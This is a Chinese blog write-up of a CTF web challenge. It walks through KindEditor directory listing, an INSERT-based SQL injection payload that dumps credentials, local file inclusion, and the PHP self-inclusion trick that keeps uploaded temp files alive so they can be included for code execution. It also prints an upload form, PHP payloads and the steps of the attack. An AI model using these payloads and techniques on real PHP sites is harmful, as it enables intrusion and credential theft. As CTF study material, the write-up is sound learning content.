首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >php文件自包含的奇淫技巧

php文件自包含的奇淫技巧

作者头像
用户5878089
发布2019-07-24 14:53:20
9900
发布2019-07-24 14:53:20
举报

0x01前言

刷题的时候刚好看到一个比较厉害的phpinfo的利用姿势,原理不是很懂,题目来自百度杯12月第四场Blog进阶版

以下是writeup:

0x02解题过程

注册以后

发现了一个编辑器,网上搜索一番,编辑器可以列目录:

http://931088e56a06460eb01b88a21186b77e156bc67ce775433a.changame.ichunqiu.com/kindeditor/php/file_manager_json.php?path=/../../../../../../../tmp/

在提交的地方有注入,就是那种正常的insert注入:

以下是注入的过程:

title=1a&content=1','4'),('a',(select group_concat(username,password) from users ),'a
admin
3177d917a0053c6161207e733c84356d(19-10-1997)

登录以后

可以文件包含,但是filter协议不能使用:

http://931088e56a06460eb01b88a21186b77e156bc67ce775433a.changame.ichunqiu.com/blog_manage/manager.php?module=../robots.txt&name=

一个思路思路就是通过文件包含无限的包含自身,让PHP的调用栈清空,然后以post的方式提交一个文件,文件会保存在/tmp目录,这个时候通过编辑器路径查看的漏洞查看文件名之后 文件包含:

一下是payload:

<!DOCTYPE html>
<html>
<head>
    <title>upload</title>
</head>
<body>
    <form name = "uploadform" method="POST" enctype="multipart/form-data" action="http://931088e56a06460eb01b88a21186b77e156bc67ce775433a.changame.ichunqiu.com/blog_manage/manager.php?module=manager&name=php">
    upload file2:<input type="file" name="file1" size="30"/>
    <input type="submit" name="submit" value="submit">
    </form>
</body>
</html>

上传如下代码:

<?php phpinfo();?>

通过编辑器的漏洞查看文件名之后,可以看到临时文件的文件名称:

然后通过文件包含刚才上传的文件

通过phpinfo可以发现:

禁用了以下函数

exec,passthru,shell_exec,assert,eval,glob,imageftbbox,bindtextdomain,mkdir,dir, system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,symlink,chgrp,chmod,chown,dl,mail,readlink,stream_socket_server,fsocket, imap_mail,apache_child_terminate,posix_kill,proc_terminate,proc_get_status,syslog,openlog,ini_alter,chroot,fread,fgets,fgetss,file,readfile, ini_set,ini_restore,putenv,apache_setenv,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,file_get_contents,fpassthru,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,fputs,unlink, pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority, pcntl_setpriority

那我们通过提交如下代码来获取flag

<?php
    highlight_file("/var/www/html/flag.php");
?>

0x03 原理解读

以上就是一个全部的解题的过程,这个姿势很奇葩,原来都没有见过,过程不是很懂,去php文档里面查了查php文件上传的原理,了解了一下php的一些特性,感觉对php的的了解又深入了一点:

php的全局数组$_FILES中

$_FILES['myFile']['tmp_name'] 文件被上传后在服务端储存的临时文件名,一般是系统默认。可以在php.ini的upload_tmp_dir 指定,默认是/tmp目录。

一般文件上传之前,php就保存在/tmp目录之下,然后后端的代码主要通过move_uploaded_file()函数来将缓存文件移动到新的目录中去,继续查阅php文档之后,我们会发现,php的临时文件名是php[0-9A-Za-z]{3,4} 上传完毕,程序继续执行之后,php的临时文件就会自动删除。

如果程序停止执行,php的临时文件就不会自动删除,那么如何才能防止其自动删除呢?

如wp所示,不停的自我包含,程序崩溃,这个时候php的自我保护机制为了让其从程序错误中恢复出来,就会清空自己的内存栈空间,缓存文件就不会删除了。

0x04 总结

了解了一种新的攻击方式,总结一下要完成这种攻击,需要的条件

  1. 存在文件包含漏洞
  2. 可以列目录
  3. 知道

攻击的流程

  1. php文件自我包含
  2. 文件上传
  3. 查看文件名称
  4. 包含上传的文件 getshell
本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-05-08,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 无级安全 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x01前言
  • 0x02解题过程
  • 0x03 原理解读
  • 0x04 总结
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档